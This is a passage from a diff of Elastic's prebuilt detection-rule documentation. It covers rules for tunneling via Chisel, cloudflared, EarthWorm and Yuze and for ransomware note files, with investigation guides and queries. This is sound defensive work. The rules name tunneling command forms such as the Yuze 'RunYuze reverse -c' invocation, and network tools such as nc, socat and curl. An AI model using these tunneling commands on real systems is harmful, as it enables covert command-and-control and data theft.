https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform +* https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Protocol Tunneling via Chisel Client* + + +Attackers can leverage `chisel` to clandestinely tunnel network communications and evade security measures, potentially gaining unauthorized access to sensitive systems. + +This rule looks for a sequence of command line arguments that are consistent with `chisel` client tunneling behavior, followed by a network event by an uncommon process. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate protocol tunneling. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential protocol tunneling, reverse shells, or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- Potential Protocol Tunneling via Chisel Server - ac8805f6-1e08-406c-962e-3937057fa86f +- Potential Linux Tunneling and/or Port Forwarding - 6ee947e9-de7e-4281-a55d-09289bdf947e +- Potential Protocol Tunneling via EarthWorm - 9f1c4ca3-44b5-481d-ba42-32dc215a2769 + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator or developer who uses port tunneling for benign purposes, consider adding exceptions for specific user accounts or hosts. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.args == "client" and process.args : ("R*", "*:*", "*socks*") and process.args_count >= 4 and + process.parent.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + not process.name in ("velociraptor", "nbemmcmd", "redis-cli", "ipa")] + [network where host.os.type == "linux" and event.action == "connection_attempted" and event.type == "start" and + destination.ip != null and destination.ip != "127.0.0.1" and destination.ip != "::1" and + not process.name : ( + "python*", "php*", "perl", "ruby", "lua*", "openssl", "nc", "netcat", "ncat", "telnet", "awk", "java", "telnet", + "ftp", "socat", "curl", "wget", "dpkg", "docker", "dockerd", "yum", "apt", "rpm", "dnf", "ssh", "sshd", "kubectl*", + "clickhouse" + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-protocol-tunneling-via-cloudflared.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-protocol-tunneling-via-cloudflared.asciidoc new file mode 100644 index 0000000000..929a46972a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-protocol-tunneling-via-cloudflared.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-20-potential-protocol-tunneling-via-cloudflared]] +=== Potential Protocol Tunneling via Cloudflared + +Identifies the use of Cloudflare Tunnel (cloudflared) to expose a local service or create an outbound tunnel. Adversaries may abuse quick tunnels (e.g. tunnel --url http://127.0.0.1:80) or named tunnels to proxy C2 traffic or exfiltrate data through Cloudflare's edge while evading direct connection blocking. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/install-and-setup/tunnel-useful-commands/ +* https://attack.mitre.org/techniques/T1572/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Protocol Tunneling via Cloudflared* + + +Cloudflare Tunnel (cloudflared) is a legitimate tool for exposing local services through Cloudflare's edge. Adversaries abuse it to create quick or named tunnels for C2, data exfiltration, or ingress tool transfer while evading direct connection blocking. + + +*Possible investigation steps* + + +- Confirm the process command line for `tunnel`, `--url`, or `tunnel run` to validate cloudflared tunnel usage. +- Identify the parent process and process executable path; cloudflared run from temp or user writable locations is more suspicious than from Program Files. +- For quick tunnel (`--url http://...`), identify the local URL and whether it could be a C2 callback or proxy. +- Correlate with network data for outbound connections to Cloudflare IPs or trycloudflare.com-style hostnames around the same time. +- Review the user and session that started the tunnel; look for other suspicious logon or execution from the same context. + + +*False positive analysis* + + +- Legitimate use of Cloudflare Tunnel for development or internal services may trigger this rule; consider allowlisting by path or user for approved use cases. + + +*Response and remediation* + + +- If unauthorized tunnel use is confirmed: isolate the host, terminate the cloudflared process, and block cloudflared or Cloudflare tunnel domains at DNS/firewall where policy permits. +- Rotate credentials for any accounts that may have been exposed over the tunnel. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "cloudflared.exe" or ?process.pe.original_file_name == "cloudflared.exe" or ?process.code_signature.subject_name : "Cloudflare, Inc.") and process.args : "tunnel" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: External Proxy +** ID: T1090.002 +** Reference URL: https://attack.mitre.org/techniques/T1090/002/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-protocol-tunneling-via-earthworm.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-protocol-tunneling-via-earthworm.asciidoc new file mode 100644 index 0000000000..1f0f7ecc1c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-protocol-tunneling-via-earthworm.asciidoc @@ -0,0 +1,211 @@ +[[prebuilt-rule-8-19-20-potential-protocol-tunneling-via-earthworm]] +=== Potential Protocol Tunneling via EarthWorm + +Identifies the execution of the EarthWorm tunneler. Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection and network filtering, or to enable access to otherwise unreachable systems. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://rootkiter.com/EarthWorm/ +* https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Protocol Tunneling via EarthWorm* + + +Attackers can leverage `earthworm` to clandestinely tunnel network communications and evade security measures, potentially gaining unauthorized access to sensitive systems. + +This rule looks for several command line arguments that are consistent with `earthworm` tunneling behavior. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate protocol tunneling. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential protocol tunneling, reverse shells, or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- Potential Protocol Tunneling via Chisel Client - 3f12325a-4cc6-410b-8d4c-9fbbeb744cfd +- Potential Protocol Tunneling via Chisel Server - ac8805f6-1e08-406c-962e-3937057fa86f +- Potential Linux Tunneling and/or Port Forwarding - 6ee947e9-de7e-4281-a55d-09289bdf947e + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator or developer who uses port tunneling for benign purposes, consider adding exceptions for specific user accounts or hosts. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in either from Elastic Defend, or Auditbeat integration. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Custom Ingest Pipeline* + +For versions <8.2, you need to add a custom ingest pipeline to populate `event.ingested` with @timestamp for non-elastic-agent indexes, like auditbeats/filebeat/winlogbeat etc. For more details to add a custom ingest pipeline refer to the https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "start", "exec_event", "ProcessRollup2", "executed", "exec_event", "process_started") and +process.args : "-s" and process.args : "-d" and process.args : "rssocks" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-protocol-tunneling-via-yuze.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-protocol-tunneling-via-yuze.asciidoc new file mode 100644 index 0000000000..90f56a441c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-protocol-tunneling-via-yuze.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-20-potential-protocol-tunneling-via-yuze]] +=== Potential Protocol Tunneling via Yuze + +Identifies execution of Yuze, a lightweight open-source tunneling tool used for intranet penetration. Yuze supports forward and reverse SOCKS5 proxy tunneling and is typically executed via rundll32 loading yuze.dll with the RunYuze export. Threat actors may use it to proxy C2 or pivot traffic. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1572/ +* https://github.com/P001water/yuze +* https://www.trendmicro.com/tr_tr/research/26/c/dissecting-a-warlock-attack.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Protocol Tunneling via Yuze* + + +Yuze is a C-based tunneling tool used for intranet penetration and supports forward and reverse SOCKS5 proxy tunneling. It is commonly executed as `rundll32 yuze.dll,RunYuze reverse -c :` and has been observed in threat actor campaigns. + + +*Possible investigation steps* + + +- Confirm the command line contains `yuze.dll` and `RunYuze`; typical form is `rundll32 yuze.dll,RunYuze reverse -c :`. +- Extract the remote endpoint from the `-c` argument (C2 or relay) and look up the IP/domain in threat intelligence. +- Locate where yuze.dll was loaded from; check file creation time to see if it was recently dropped. +- Identify the parent process that started rundll32 (script, scheduled task, exploit, etc.) to understand the execution chain. +- Correlate with network events for outbound connections from this host to the IP/port in the command line. + + +*False positive analysis* + + +- Legitimate use of Yuze is rare; most hits are likely malicious or red-team. If you use Yuze for authorized testing, consider an exception by host or user. + + +*Response and remediation* + + +- Isolate the host and terminate the rundll32 process. +- Remove yuze.dll from disk and hunt for other copies or related artifacts. +- Block the C2/relay IP or domain at DNS/firewall; rotate credentials if the tunnel was used for access. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + (process.args : "reverse" and process.args : ("-c", "-s")) or + (process.args : ("proxy", "fwd") and process.args : "-l") + ) and + (?process.code_signature.exists == false or process.name : "rundll32.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-ransomware-behavior-note-files-by-system.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-ransomware-behavior-note-files-by-system.asciidoc new file mode 100644 index 0000000000..1db0faff45 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-ransomware-behavior-note-files-by-system.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-20-potential-ransomware-behavior-note-files-by-system]] +=== Potential Ransomware Behavior - Note Files by System + +This rule identifies the creation of multiple files with same name and over SMB by the same user. This behavior may indicate the successful remote execution of a ransomware dropping file notes to different folders. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://news.sophos.com/en-us/2023/12/21/akira-again-the-ransomware-that-keeps-on-taking/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Possible investigation steps* + + +- Investigate the content of the dropped files. +- Investigate any file names with unusual extensions. +- Investigate any incoming network connection to port 445 on this host. +- Investigate any network logon events to this host. +- Identify the total number and type of modified files by pid 4. +- If the number of files is too high and source.ip connecting over SMB is unusual isolate the host and block the used credentials. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Local file modification from a Kernel mode driver. + + +*Related rules* + + +- Third-party Backup Files Deleted via Unexpected Process - 11ea6bec-ebde-4d71-a8e9-784948f8e3e9 +- Volume Shadow Copy Deleted or Resized via VssAdmin - b5ea4bfe-a1b2-421f-9d47-22a75a6f2921 +- Volume Shadow Copy Deletion via PowerShell - d99a037b-c8e2-47a5-97b9-170d076827c4 +- Volume Shadow Copy Deletion via WMIC - dc9c1f74-dac3-48e3-b47f-eb79db358f57 +- Potential Ransomware Note File Dropped via SMB - 02bab13d-fb14-4d7c-b6fe-4a28874d37c5 +- Suspicious File Renamed via SMB - 78e9b5d5-7c07-40a7-a591-3dbbf464c386 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities. +- If any backups were affected: + - Perform data recovery locally or restore the backups from replicated copies (cloud, other servers, etc.). +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.file-* metadata _id, _version, _index + +// filter for file creation event done remotely over SMB with common user readable file types used to place ransomware notes +| where event.category == "file" and host.os.type == "windows" and event.action == "creation" and process.pid == 4 and user.id != "S-1-5-18" and + file.extension in ("txt", "htm", "html", "hta", "pdf", "jpg", "bmp", "png") and + to_lower(file.path) like """c:\\*""" and not to_lower(file.path) like """c:\\temp\\*""" + +// truncate the timestamp to a 60-second window +| eval Esql.time_window_date_trunc = date_trunc(60 seconds, @timestamp) + +| keep user.id, user.name, file.path, file.name, process.entity_id, Esql.time_window_date_trunc, host.name, host.ip, host.id + +// filter for same file name dropped in at least 3 unique paths by the System virtual process +| stats Esql.file_path_count_distinct = COUNT_DISTINCT(file.path), Esql.file_path_values = VALUES(file.path), Esql.host_ip_values = values(host.ip) by host.id, host.name, user.name, user.id, process.entity_id , file.name, Esql.time_window_date_trunc +| where Esql.file_path_count_distinct >= 3 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-ransomware-note-file-dropped-via-smb.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-ransomware-note-file-dropped-via-smb.asciidoc new file mode 100644 index 0000000000..ed2d644f31 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-ransomware-note-file-dropped-via-smb.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-potential-ransomware-note-file-dropped-via-smb]] +=== Potential Ransomware Note File Dropped via SMB + +Identifies an incoming SMB connection followed by the creation of a file with a name similar to ransomware note files. This may indicate a remote ransomware attack via the SMB protocol. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* logs-endpoint.events.network-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic 